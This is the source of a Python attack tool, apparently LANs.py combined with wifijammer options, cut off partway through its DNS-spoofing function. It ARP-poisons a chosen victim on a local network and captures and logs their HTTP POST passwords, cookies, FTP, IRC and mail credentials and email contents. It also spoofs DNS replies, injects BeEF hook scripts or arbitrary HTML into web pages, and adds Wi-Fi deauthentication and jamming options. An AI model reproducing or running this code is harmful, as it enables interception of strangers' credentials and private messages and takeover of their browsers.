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#!/usr/bin/env python2
# -*- coding: utf-8 -*-
'''
Description: ARP poisons a LAN victim and prints all the interesting unencrypted info like usernames, passwords and messages. Asynchronous multithreaded arp spoofing packet parser.
Prerequisites: Linux
nmap (optional)
nbtscan (optional)
aircrack-ng
Python 2.6+
nfqueue-bindings 0.4-3
scapy
twisted
Note: This script flushes iptables before and after usage.
To do:
*** Finish https://github.com/DanMcInerney/net-creds and plug it in as the LANs.py main cred engine
Refactor with lots of smaller functions
Cookie saver so you can browse using their cookies (how to use nfqueue with multiple queues?)
Add karma MITM technique
Add SSL proxy for self-signed cert, and make the script force a single JS popup saying there's a temporary problem with SSL validation and to just click through
Integrate with wifite would be cool
'''
def module_check(module):
'''
Just for debian-based systems like Kali and Ubuntu
'''
ri = raw_input(
'[-] python-%s not installed, would you like to install now? (apt-get install -y python-%s will be run if yes) [y/n]: ' % (
module, module))
if ri == 'y':
os.system('apt-get install -y python-%s' % module)
else:
exit('[-] Exiting due to missing dependency')
import os
try:
import nfqueue
except Exception:
raise
module_check('nfqueue')
import nfqueue
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
conf.verb = 0
# Below is necessary to receive a response to the DHCP packets because we're sending to 255.255.255.255 but receiving from the IP of the DHCP server
conf.checkIPaddr = 0
from twisted.internet import reactor
from twisted.internet import reactor
from twisted.internet.interfaces import IReadDescriptor
from twisted.internet.protocol import Protocol, Factory
from sys import exit
from threading import Thread, Lock
import argparse
from base64 import b64decode
from subprocess import *
from zlib import decompressobj, decompress
import gzip
from cStringIO import StringIO
import requests
import sys
import time
#from signal import SIGINT, signal
import signal
import socket
import fcntl
def parse_args():
#Create the arguments
parser = argparse.ArgumentParser()
parser.add_argument("-b", "--beef",
help="Inject a BeEF hook URL. Example usage: -b http://192.168.0.3:3000/hook.js")
parser.add_argument("-c", "--code",
help="Inject arbitrary html. Example usage (include quotes): -c '<title>New title</title>'")
parser.add_argument("-u", "--urlspy",
help="Show all URLs and search terms the victim visits or enters minus URLs that end in .jpg, .png, .gif, .css, and .js to make the output much friendlier. Also truncates URLs at 150 characters. Use -v to print all URLs and without truncation.",
action="store_true")
parser.add_argument("-ip", "--ipaddress",
help="Enter IP address of victim and skip the arp ping at the beginning which would give you a list of possible targets. Usage: -ip <victim IP>")
parser.add_argument("-vmac", "--victimmac",
help="Set the victim MAC; by default the script will attempt a few different ways of getting this so this option hopefully won't be necessary")
parser.add_argument("-d", "--driftnet", help="Open an xterm window with driftnet.", action="store_true")
parser.add_argument("-v", "--verboseURL",
help="Shows all URLs the victim visits but doesn't limit the URL to 150 characters like -u does.",
action="store_true")
parser.add_argument("-dns", "--dnsspoof",
help="Spoof DNS responses of a specific domain. Enter domain after this argument. An argument like [facebook.com] will match all subdomains of facebook.com")
parser.add_argument("-a", "--dnsall", help="Spoof all DNS responses", action="store_true")
parser.add_argument("-set", "--setoolkit", help="Start Social Engineer's Toolkit in another window.",
action="store_true")
parser.add_argument("-p", "--post",
help="Print unsecured HTTP POST loads, IMAP/POP/FTP/IRC/HTTP usernames/passwords and incoming/outgoing emails. Will also decode base64 encrypted POP/IMAP username/password combos for you.",
action="store_true")
parser.add_argument("-na", "--nmapaggressive",
help="Aggressively scan the target for open ports and services in the background. Output to ip.add.re.ss.log.txt where ip.add.re.ss is the victim's IP.",
action="store_true")
parser.add_argument("-n", "--nmap",
help="Scan the target for open ports prior to starting to sniffing their packets.",
action="store_true")
parser.add_argument("-i", "--interface",
help="Choose the interface to use. Default is the first one that shows up in `ip route`.")
parser.add_argument("-r", "--redirectto",
help="Must be used with -dns DOMAIN option. Redirects the victim to the IP in this argument when they visit the domain in the -dns DOMAIN option")
parser.add_argument("-rip", "--routerip",
help="Set the router IP; by default the script with attempt a few different ways of getting this so this option hopefully won't be necessary")
parser.add_argument("-rmac", "--routermac",
help="Set the router MAC; by default the script with attempt a few different ways of getting this so this option hopefully won't be necessary")
parser.add_argument("-pcap", "--pcap", help="Parse through a pcap file")
###############################
#####End Lans.py Arguments#####
###Start wifijammer Argument###
###############################
parser.add_argument("-s", "--skip", help="Skip deauthing this MAC address. Example: -s 00:11:BB:33:44:AA")
parser.add_argument("-ch", "--channel",
help="Listen on and deauth only clients on the specified channel. Example: -ch 6")
parser.add_argument("-m", "--maximum",
help="Choose the maximum number of clients to deauth. List of clients will be emptied and repopulated after hitting the limit. Example: -m 5")
parser.add_argument("-no", "--noupdate",
help="Do not clear the deauth list when the maximum (-m) number of client/AP combos is reached. Must be used in conjunction with -m. Example: -m 10 -n",
action='store_true')
parser.add_argument("-t", "--timeinterval",
help="Choose the time interval between packets being sent. Default is as fast as possible. If you see scapy errors like 'no buffer space' try: -t .00001")
parser.add_argument("--packets",
help="Choose the number of packets to send in each deauth burst. Default value is 1; 1 packet to the client and 1 packet to the AP. Send 2 deauth packets to the client and 2 deauth packets to the AP: -p 2")
parser.add_argument("--directedonly",
help="Skip the deauthentication packets to the broadcast address of the access points and only send them to client/AP pairs",
action='store_true')
parser.add_argument("--accesspoint",
help="Enter the MAC address of a specific access point to target")
parser.add_argument("--jam",
help="Jam all wifi in range", action="store_true")
return parser.parse_args()
#Console colors
W = '\033[0m' # white (normal)
R = '\033[31m' # red
G = '\033[32m' # green
O = '\033[33m' # orange
B = '\033[34m' # blue
P = '\033[35m' # purple
C = '\033[36m' # cyan
GR = '\033[37m' # gray
T = '\033[93m' # tan
#############################
##### Start LANs.py Code####
############################
interface = ''
def LANsMain(args):
global victimIP, interface
#Find the gateway and interface
ipr = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN)
ipr = ipr.communicate()[0]
iprs = ipr.split('\n')
ipr = ipr.split()
if args.routerip:
routerIP = args.routerip
else:
try:
routerIP = ipr[2]
except:
exit("You must be connected to the internet to use this.")
for r in iprs:
if '/' in r:
IPprefix = r.split()[0]
if args.interface:
interface = args.interface
else:
interface = ipr[4]
if 'eth' in interface or 'p3p' in interface:
exit(
'[-] Wired interface found as default route, please connect wirelessly and retry, or specify the active interface with the -i [interface] option. See active interfaces with [ip addr] or [ifconfig].')
if args.ipaddress:
victimIP = args.ipaddress
else:
au = active_users()
au.users(IPprefix, routerIP)
print '\n[*] Turning off monitor mode'
os.system('airmon-ng stop %s >/dev/null 2>&1' % au.monmode)
try:
victimIP = raw_input('[*] Enter the non-router IP to spoof: ')
except KeyboardInterrupt:
exit('\n[-] Quitting')
print "[*] Checking the DHCP and DNS server addresses..."
# DHCP is a pain in the ass to craft
dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff') /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr='E3:2E:F4:DD:8R:9A') /
DHCP(options=[("message-type", "discover"),
("param_req_list",
chr(DHCPRevOptions["router"][0]),
chr(DHCPRevOptions["domain"][0]),
chr(DHCPRevOptions["server_id"][0]),
chr(DHCPRevOptions["name_server"][0]),
), "end"]))
ans, unans = srp(dhcp, timeout=5, retry=1)
if ans:
for s, r in ans:
DHCPopt = r[0][DHCP].options
DHCPsrvr = r[0][IP].src
for x in DHCPopt:
if 'domain' in x:
local_domain = x[1]
pass
else:
local_domain = 'None'
if 'name_server' in x:
dnsIP = x[1]
else:
print "[-] No answer to DHCP packet sent to find the DNS server. Setting DNS and DHCP server to router IP."
dnsIP = routerIP
DHCPsrvr = routerIP
local_domain = 'None'
# Print the vars
print_vars(DHCPsrvr, dnsIP, local_domain, routerIP, victimIP)
if args.routermac:
routerMAC = args.routermac
print "[*] Router MAC: " + routerMAC
logger.write("[*] Router MAC: " + routerMAC + '\n')
else:
try:
routerMAC = Spoof().originalMAC(routerIP)
print "[*] Router MAC: " + routerMAC
logger.write("[*] Router MAC: " + routerMAC + '\n')
except Exception:
print "[-] Router did not respond to ARP request; attempting to pull MAC from local ARP cache - [/usr/bin/arp -n]"
logger.write(
"[-] Router did not respond to ARP request; attempting to pull the MAC from the ARP cache - [/usr/bin/arp -n]")
try:
arpcache = Popen(['/usr/sbin/arp', '-n'], stdout=PIPE, stderr=DN)
split_lines = arpcache.communicate()[0].splitlines()
for line in split_lines:
if routerIP in line:
routerMACguess = line.split()[2]
if len(routerMACguess) == 17:
accr = raw_input("[+] Is " + R + routerMACguess + W + " the accurate router MAC? [y/n]: ")
if accr == 'y':
routerMAC = routerMACguess
print "[*] Router MAC: " + routerMAC
logger.write("[*] Router MAC: " + routerMAC + '\n')
else:
exit("[-] Failed to get accurate router MAC address")
except Exception:
exit("[-] Failed to get accurate router MAC address")
if args.victimmac:
victimMAC = args.victimmac
print "[*] Victim MAC: " + victimMAC
logger.write("[*] Victim MAC: " + victimMAC + '\n')
else:
try:
victimMAC = Spoof().originalMAC(victimIP)
print "[*] Victim MAC: " + victimMAC
logger.write("[*] Victim MAC: " + victimMAC + '\n')
except Exception:
exit(
"[-] Could not get victim MAC address; try the -vmac [xx:xx:xx:xx:xx:xx] option if you know the victim's MAC address\n and make sure the interface being used is accurate with -i <interface>")
ipf = setup(victimMAC)
Queued(args)
threads(args)
if args.nmap:
print "\n[*] Running nmap scan; this may take several minutes - [nmap -T4 -O %s]" % victimIP
try:
nmap = Popen(['/usr/bin/nmap', '-T4', '-O', '-e', interface, victimIP], stdout=PIPE, stderr=DN)
nmap.wait()
nmap = nmap.communicate()[0].splitlines()
for x in nmap:
if x != '':
print '[+]', x
logger.write('[+] ' + x + '\n')
except Exception:
print '[-] Nmap port and OS scan failed, is it installed?'
print ''
def signal_handler(signal, frame):
print 'learing iptables, sending healing packets, and turning off IP forwarding...'
logger.close()
with open('/proc/sys/net/ipv4/ip_forward', 'r+') as forward:
forward.write(ipf)
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
os.system('/sbin/iptables -F')
os.system('/sbin/iptables -X')
os.system('/sbin/iptables -t nat -F')
os.system('/sbin/iptables -t nat -X')
exit(0)
signal.signal(signal.SIGINT, signal_handler)
while 1:
Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
time.sleep(1.5)
class Spoof():
def originalMAC(self, ip):
# srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=5, retry=3)
for s, r in ans:
return r.sprintf("%Ether.src%")
def poison(self, routerIP, victimIP, routerMAC, victimMAC):
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
def restore(self, routerIP, victimIP, routerMAC, victimMAC):
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
class Parser():
# Mail, irc, post parsing
OheadersFound = []
IheadersFound = []
IMAPauth = 0
IMAPdest = ''
POPauth = 0
POPdest = ''
Cookies = []
IRCnick = ''
mail_passwds = []
oldmailack = ''
oldmailload = ''
mailfragged = 0
# http parsing
oldHTTPack = ''
oldHTTPload = ''
HTTPfragged = 0
# html injection
block_acks = []
html_url = ''
user_agent = None
def __init__(self, args):
self.args = args
#def start(self, i, payload): ###This was original Ubuntu compatible code.
#def start(self, payload): ###This was original non-Ubuntu code.
'''
Both were replaced by accepting arguments as an array and then iterating through said array looking for the payload and self.
It is now compatible with both Ubuntu and non-Ubuntu linux distros.
'''
def start(*args):
for i in args:
if isinstance(i, nfqueue.payload):
payload = i
else:
if not isinstance(i, int):
self = i
if self.args.pcap:
if self.args.ipaddress:
try:
pkt = payload[IP]
except Exception:
return
else:
try:
pkt = IP(payload.get_data())
except Exception:
return
IP_layer = pkt[IP]
IP_dst = pkt[IP].dst
IP_src = pkt[IP].src
if self.args.urlspy or self.args.post or self.args.beef or self.args.code:
if pkt.haslayer(Raw):
if pkt.haslayer(TCP):
dport = pkt[TCP].dport
sport = pkt[TCP].sport
ack = pkt[TCP].ack
seq = pkt[TCP].seq
load = pkt[Raw].load
mail_ports = [25, 26, 110, 143]
if dport in mail_ports or sport in mail_ports:
self.mailspy(load, dport, sport, IP_dst, IP_src, mail_ports, ack)
if dport == 6667 or sport == 6667:
self.irc(load, dport, sport, IP_src)
if dport == 21 or sport == 21:
self.ftp(load, IP_dst, IP_src)
if dport == 80 or sport == 80:
self.http_parser(load, ack, dport)
if self.args.beef or self.args.code:
self.injecthtml(load, ack, pkt, payload, dport, sport)
if self.args.dnsspoof or self.args.dnsall:
if pkt.haslayer(DNSQR):
dport = pkt[UDP].dport
sport = pkt[UDP].sport
if dport == 53 or sport == 53:
dns_layer = pkt[DNS]
self.dnsspoof(dns_layer, IP_src, IP_dst, sport, dport, payload)
def get_user_agent(self, header_lines):
for h in header_lines:
user_agentre = re.search('[Uu]ser-[Aa]gent: ', h)
if user_agentre:
return h.split(user_agentre.group(), 1)[1]
def injecthtml(self, load, ack, pkt, payload, dport, sport):
for x in self.block_acks:
if ack == x:
payload.set_verdict(nfqueue.NF_DROP)
return
ack = str(ack)
if self.args.beef:
bhtml = '<script src=' + self.args.beef + '></script>'
if self.args.code:
chtml = self.args.code
try:
headers, body = load.split("\r\n\r\n", 1)
except Exception:
headers = load
body = ''
header_lines = headers.split("\r\n")
if dport == 80:
post = None
get = self.get_get(header_lines)
host = self.get_host(header_lines)
self.html_url = self.get_url(host, get, post)
if self.html_url:
d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
if any(i in self.html_url for i in d):
self.html_url = None
payload.set_verdict(nfqueue.NF_ACCEPT)
return
else:
payload.set_verdict(nfqueue.NF_ACCEPT)
return
if not self.get_user_agent(header_lines):
# Most common user-agent on the internet
self.user_agent = "'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36'"
else:
self.user_agent = "'" + self.get_user_agent(header_lines) + "'"
payload.set_verdict(nfqueue.NF_ACCEPT)
return
if sport == 80 and self.html_url and 'Content-Type: text/html' in headers:
# This can be done better, probably using filter(), no make them a dictionary and use del
header_lines = [x for x in header_lines if 'transfer-encoding' not in x.lower()]
for h in header_lines:
if '1.1 302' in h or '1.1 301' in h: # Allow redirects to go thru unperturbed
payload.set_verdict(nfqueue.NF_ACCEPT)
self.html_url = None
return
UA_header = {'User-Agent': self.user_agent}
r = requests.get('http://' + self.html_url, headers=UA_header)
try:
body = r.text.encode('utf-8')
except Exception:
payload.set_verdict(nfqueue.NF_ACCEPT)
# INJECT
if self.args.beef:
if '<html' in body or '/html>' in body:
try:
psplit = body.split('</head>', 1)
body = psplit[0] + bhtml + '</head>' + psplit[1]
except Exception:
try:
psplit = body.split('<head>', 1)
body = psplit[0] + '<head>' + bhtml + psplit[1]
except Exception:
if not self.args.code:
self.html_url = None
payload.set_verdict(nfqueue.NF_ACCEPT)
return
else:
pass
if self.args.code:
if '<html' in body or '/html>' in body:
try:
psplit = body.split('<head>', 1)
body = psplit[0] + '<head>' + chtml + psplit[1]
except Exception:
try:
psplit = body.split('</head>', 1)
body = psplit[0] + chtml + '</head>' + psplit[1]
except Exception:
self.html_url = None
payload.set_verdict(nfqueue.NF_ACCEPT)
return
# Recompress data if necessary
if 'Content-Encoding: gzip' in headers:
if body != '':
try:
comp_body = StringIO()
f = gzip.GzipFile(fileobj=comp_body, mode='w', compresslevel=9)
f.write(body)
f.close()
body = comp_body.getvalue()
except Exception:
try:
pkt[Raw].load = headers + "\r\n\r\n" + body
pkt[IP].len = len(str(pkt))
del pkt[IP].chksum
del pkt[TCP].chksum
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))
print '[-] Could not recompress html, sent packet as is'
self.html_url = None
return
except Exception:
self.html_url = None
payload.set_verdict(nfqueue.NF_ACCEPT)
return
headers = "\r\n".join(header_lines)
pkt[Raw].load = headers + "\r\n\r\n" + body
pkt[IP].len = len(str(pkt))
del pkt[IP].chksum
del pkt[TCP].chksum
try:
payload.set_verdict(nfqueue.NF_DROP)
pkt_frags = fragment(pkt)
for p in pkt_frags:
send(p)
print R + '[!] Injected HTML into packet for ' + W + self.html_url
logger.write('[!] Injected HTML into packet for ' + self.html_url)
self.block_acks.append(ack)
self.html_url = None
except Exception as e:
payload.set_verdict(nfqueue.NF_ACCEPT)
self.html_url = None
print '[-] Failed to inject packet', e
return
if len(self.block_acks) > 30:
self.block_acks = self.block_acks[5:]
def get_host(self, header_lines):
for l in header_lines:
searchHost = re.search('[Hh]ost: ', l)
if searchHost:
try:
return l.split('Host: ', 1)[1]
except Exception:
try:
return l.split('host: ', 1)[1]
except Exception:
return
def get_get(self, header_lines):
for l in header_lines:
searchGet = re.search('GET /', l)
if searchGet:
try:
return l.split('GET ')[1].split(' ')[0]
except Exception:
return
def get_post(self, header_lines):
for l in header_lines:
searchPost = re.search('POST /', l)
if searchPost:
try:
return l.split(' ')[1].split(' ')[0]
except Exception:
return
def get_url(self, host, get, post):
if host:
if post:
return host + post
if get:
return host + get
# Catch search terms
# As it stands now this has a moderately high false positive rate mostly due to the common ?s= and ?q= vars
# I figured better to err on the site of more data than less and it's easy to tell the false positives from the real searches
def searches(self, url, host):
# search, query, search?q, ?s, &q, ?q, search?p, searchTerm, keywords, command
searched = re.search(
'((search|query|search\?q|\?s|&q|\?q|search\?p|search[Tt]erm|keywords|command)=([^&][^&]*))', url)
if searched:
searched = searched.group(3)
# Common false positives
if 'select%20*%20from' in searched:
pass
if host == 'geo.yahoo.com':
pass
else:
searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27',
'\'').replace(
'%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22',
'\"').replace('%24',
'$')
print T + '[+] Searched ' + W + host + T + ': ' + searched + W
logger.write('[+] Searched ' + host + ' for: ' + searched + '\n')
def post_parser(self, url, body, host, header_lines):
if 'ocsp' in url:
print B + '[+] POST: ' + W + url
logger.write('[+] POST: ' + url + '\n')
elif body != '':
try:
urlsplit = url.split('/')
url = urlsplit[0] + '/' + urlsplit[1]
except Exception:
pass
if self.HTTPfragged == 1:
print B + '[+] Fragmented POST: ' + W + url + B + " HTTP POST's combined load: " + body + W
logger.write('[+] Fragmented POST: ' + url + " HTTP POST's combined load: " + body + '\n')
else:
print B + '[+] POST: ' + W + url + B + ' HTTP POST load: ' + body + W
logger.write('[+] POST: ' + url + " HTTP POST's combined load: " + body + '\n')
# If you see any other login/pw variable names, tell me and I'll add em in here
# As it stands now this has a moderately high false positive rate; I figured better to err on the site of more data than less
# email, user, username, name, login, log, loginID
user_regex = '([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)'
# password, pass, passwd, pwd, psw, passwrd, passw
pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|[Pp]asswrd|[Pp]assw)=([^&|;]*)'
username = re.findall(user_regex, body)
password = re.findall(pw_regex, body)
self.user_pass(username, password)
self.cookies(host, header_lines)
def http_parser(self, load, ack, dport):
load = repr(load)[1:-1]
# Catch fragmented HTTP posts
if dport == 80 and load != '':
if ack == self.oldHTTPack:
self.oldHTTPload = self.oldHTTPload + load
load = self.oldHTTPload
self.HTTPfragged = 1
else:
self.oldHTTPload = load
self.oldHTTPack = ack
self.HTTPfragged = 0
try:
headers, body = load.split(r"\r\n\r\n", 1)
except Exception:
headers = load
body = ''
header_lines = headers.split(r"\r\n")
host = self.get_host(header_lines)
get = self.get_get(header_lines)
post = self.get_post(header_lines)
url = self.get_url(host, get, post)
# print urls
if url:
#Print the URL
if self.args.verboseURL:
print '[*] ' + url
logger.write('[*] ' + url + '\n')
if self.args.urlspy:
fileFilterList = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
domainFilterList = ['adzerk.net', 'adwords.google.com', 'googleads.g.doubleclick.net', 'pagead2.googlesyndication.com']
tempURL = url
tempURL = tempURL.split("?")[0] #Strip all data (e.g. www.google.com/?g=5 goes to www.google.com/)
tempURL = tempURL.strip("/") #Strip all /
printURL = True # default to printing URL
for fileType in fileFilterList: #Used to check if it is one of the blacklisted file types
if tempURL.endswith(fileType):
printURL = False #Don't print if it is one of the bad file types
for blockedDomain in domainFilterList:
if blockedDomain in tempURL:
printURL = False #Don't print if it is one of the blocked domains
if printURL:
if len(url) > 146:
print '[*] ' + url[:145]
logger.write('[*] ' + url[:145] + '\n')
else:
print '[*] ' + url
logger.write('[*] ' + url + '\n')
# Print search terms
if self.args.post or self.args.urlspy:
self.searches(url, host)
#Print POST load and find cookies
if self.args.post and post:
self.post_parser(url, body, host, header_lines)
def ftp(self, load, IP_dst, IP_src):
load = repr(load)[1:-1].replace(r"\r\n", "")
if 'USER ' in load:
print R + '[!] FTP ' + load + ' SERVER: ' + IP_dst + W
logger.write('[!] FTP ' + load + ' SERVER: ' + IP_dst + '\n')
if 'PASS ' in load:
print R + '[!] FTP ' + load + ' SERVER: ' + IP_dst + W
logger.write('[!] FTP ' + load + ' SERVER: ' + IP_dst + '\n')
if 'authentication failed' in load:
print R + '[*] FTP ' + load + W
logger.write('[*] FTP ' + load + '\n')
def irc(self, load, dport, sport, IP_src):
load = repr(load)[1:-1].split(r"\r\n")
if self.args.post:
if IP_src == victimIP:
if 'NICK ' in load[0]:
self.IRCnick = load[0].split('NICK ')[1]
server = load[1].replace('USER user user ', '').replace(' :user', '')
print R + '[!] IRC username: ' + self.IRCnick + ' on ' + server + W
logger.write('[!] IRC username: ' + self.IRCnick + ' on ' + server + '\n')
if 'NS IDENTIFY ' in load[0]:
ircpass = load[0].split('NS IDENTIFY ')[1]
print R + '[!] IRC password: ' + ircpass + W
logger.write('[!] IRC password: ' + ircpass + '\n')
if 'JOIN ' in load[0]:
join = load[0].split('JOIN ')[1]
print C + '[+] IRC joined: ' + W + join
logger.write('[+] IRC joined: ' + join + '\n')
if 'PART ' in load[0]:
part = load[0].split('PART ')[1]
print C + '[+] IRC left: ' + W + part
logger.write('[+] IRC left: ' + part + '\n')
if 'QUIT ' in load[0]:
quit = load[0].split('QUIT :')[1]
print C + '[+] IRC quit: ' + W + quit
logger.write('[+] IRC quit: ' + quit + '\n')
# Catch messages from the victim to an IRC channel
if 'PRIVMSG ' in load[0]:
if IP_src == victimIP:
load = load[0].split('PRIVMSG ')[1]
channel = load.split(' :', 1)[0]
ircmsg = load.split(' :', 1)[1]
if self.IRCnick != '':
print C + '[+] IRC victim ' + W + self.IRCnick + C + ' to ' + W + channel + C + ': ' + ircmsg + W
logger.write('[+] IRC ' + self.IRCnick + ' to ' + channel + ': ' + ircmsg + '\n')
else:
print C + '[+] IRC msg to ' + W + channel + C + ': ' + ircmsg + W
logger.write('[+] IRC msg to ' + channel + ':' + ircmsg + '\n')
# Catch messages from others that tag the victim's nick
elif self.IRCnick in load[0] and self.IRCnick != '':
sender_nick = load[0].split(':', 1)[1].split('!', 1)[0]
try:
load = load[0].split('PRIVMSG ')[1].split(' :', 1)
channel = load[0]
ircmsg = load[1]
print C + '[+] IRC ' + W + sender_nick + C + ' to ' + W + channel + C + ': ' + ircmsg[1:] + W
logger.write('[+] IRC ' + sender_nick + ' to ' + channel + ': ' + ircmsg[1:] + '\n')
except Exception:
return
def cookies(self, host, header_lines):
for x in header_lines:
if 'Cookie:' in x:
if x in self.Cookies:
return
elif 'safebrowsing.clients.google.com' in host:
return
else:
self.Cookies.append(x)
print P + '[+] Cookie found for ' + W + host + P + ' logged in LANspy.log.txt' + W
logger.write('[+] Cookie found for' + host + ':' + x.replace('Cookie: ', '') + '\n')
def user_pass(self, username, password):
if username:
for u in username:
print R + '[!] Username found: ' + u[1] + W
logger.write('[!] Username: ' + u[1] + '\n')
if password:
for p in password:
if p[1] != '':
print R + '[!] Password: ' + p[1] + W
logger.write('[!] Password: ' + p[1] + '\n')
def mailspy(self, load, dport, sport, IP_dst, IP_src, mail_ports, ack):
load = repr(load)[1:-1]
# Catch fragmented mail packets
if ack == self.oldmailack:
if load != r'.\r\n':
self.oldmailload = self.oldmailload + load
load = self.oldmailload
self.mailfragged = 1
else:
self.oldmailload = load
self.oldmailack = ack
self.mailfragged = 0
try:
headers, body = load.split(r"\r\n\r\n", 1)
except Exception:
headers = load
body = ''
header_lines = headers.split(r"\r\n")
email_headers = ['Date: ', 'Subject: ', 'To: ', 'From: ']
# Find passwords
if dport in [25, 26, 110, 143]:
self.passwords(IP_src, load, dport, IP_dst)
# Find outgoing messages
if dport == 26 or dport == 25:
self.outgoing(load, body, header_lines, email_headers, IP_src)
# Find incoming messages
if sport in [110, 143]:
self.incoming(headers, body, header_lines, email_headers, sport, dport)
def passwords(self, IP_src, load, dport, IP_dst):
load = load.replace(r'\r\n', '')
if dport == 143 and IP_src == victimIP and len(load) > 15:
if self.IMAPauth == 1 and self.IMAPdest == IP_dst:
# Don't double output mail passwords
for x in self.mail_passwds:
if load in x:
self.IMAPauth = 0
self.IMAPdest = ''
return
print R + '[!] IMAP user and pass found: ' + load + W
logger.write('[!] IMAP user and pass found: ' + load + '\n')
self.mail_passwds.append(load)
self.decode(load, dport)
self.IMAPauth = 0
self.IMAPdest = ''
if "authenticate plain" in load:
self.IMAPauth = 1
self.IMAPdest = IP_dst
if dport == 110 and IP_src == victimIP:
if self.POPauth == 1 and self.POPdest == IP_dst and len(load) > 10:
# Don't double output mail passwords
for x in self.mail_passwds:
if load in x:
self.POPauth = 0
self.POPdest = ''
return
print R + '[!] POP user and pass found: ' + load + W
logger.write('[!] POP user and pass found: ' + load + '\n')
self.mail_passwds.append(load)
self.decode(load, dport)
self.POPauth = 0
self.POPdest = ''
if 'AUTH PLAIN' in load:
self.POPauth = 1
self.POPdest = IP_dst
if dport == 26:
if 'AUTH PLAIN ' in load:
# Don't double output mail passwords
for x in self.mail_passwds:
if load in x:
self.POPauth = 0
self.POPdest = ''
return
print R + '[!] Mail authentication found: ' + load + W
logger.write('[!] Mail authentication found: ' + load + '\n')
self.mail_passwds.append(load)
self.decode(load, dport)
def outgoing(self, headers, body, header_lines, email_headers, IP_src):
if 'Message-ID' in headers:
for l in header_lines:
for x in email_headers:
if x in l:
self.OheadersFound.append(l)
# if date, from, to, in headers then print the message
if len(self.OheadersFound) > 3 and body != '':
if self.mailfragged == 1:
print O + '[!] OUTGOING MESSAGE (fragmented)' + W
logger.write('[!] OUTGOING MESSAGE (fragmented)\n')
for x in self.OheadersFound:
print O + ' ', x + W
logger.write(' ' + x + '\n')
print O + ' Message:', body + W
logger.write(' Message:' + body + '\n')
else:
print O + '[!] OUTGOING MESSAGE' + W
logger.write('[!] OUTGOING MESSAGE\n')
for x in self.OheadersFound:
print O + ' ', x + W
logger.write(' ' + x + '\n')
print O + ' Message:', body + W
logger.write(' Message:' + body + '\n')
self.OheadersFound = []
def incoming(self, headers, body, header_lines, email_headers, sport, dport):
message = ''
for l in header_lines:
for x in email_headers:
if x in l:
self.IheadersFound.append(l)
if len(self.IheadersFound) > 3 and body != '':
if "BODY[TEXT]" not in body:
try:
beginning = body.split(r"\r\n", 1)[0]
body1 = body.split(r"\r\n\r\n", 1)[1]
message = body1.split(beginning)[0][:-8] #get rid of last \r\n\r\n
except Exception:
return
if message != '':
if self.mailfragged == 1:
print O + '[!] INCOMING MESSAGE (fragmented)' + W
logger.write('[!] INCOMING MESSAGE (fragmented)\n')
for x in self.IheadersFound:
print O + ' ' + x + W
logger.write(' ' + x + '\n')
print O + ' Message: ' + message + W
logger.write(' Message: ' + message + '\n')
else:
print O + '[!] INCOMING MESSAGE' + W
logger.write('[!] INCOMING MESSAGE\n')
for x in self.IheadersFound:
print O + ' ' + x + W
logger.write(' ' + x + '\n')
print O + ' Message: ' + message + W
logger.write(' Message: ' + message + '\n')
self.IheadersFound = []
def decode(self, load, dport):
decoded = ''
if dport == 25 or dport == 26:
try:
b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
except Exception:
pass
else:
try:
b64str = load
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
except Exception:
pass
# Test to see if decode worked
if '@' in decoded:
print R + '[!] Decoded:' + decoded + W
logger.write('[!] Decoded:' + decoded + '\n')
# Spoof DNS for a specific domain to point to your machine
def dnsspoof(self, dns_layer, IP_src, IP_dst, sport, dport, payload):
localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
if self.args.dnsspoof:
if self.args.dnsspoof in dns_layer.qd.qname and not self.args.redirectto:
self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, localIP)
elif self.args.dnsspoof in dns_layer.qd.qname and self.args.redirectto:
self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, self.args.redirectto)
elif self.args.dnsall:
if self.args.redirectto:
self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, self.args.redirectto)
else:
self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, localIP)
def dnsspoof_actions(self, dns_layer, IP_src, IP_dst, sport, dport, payload, rIP):
p = IP(dst=IP_src, src=IP_dst) / UDP(dport=sport, sport=dport) / DNS(id=dns_layer.id, qr=1, aa=1,
qd=dns_layer.qd,
an=DNSRR(rrname=dns_layer.qd.qname, ttl=10,
rdata=rIP))
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(p), len(p))
if self.args.dnsspoof:
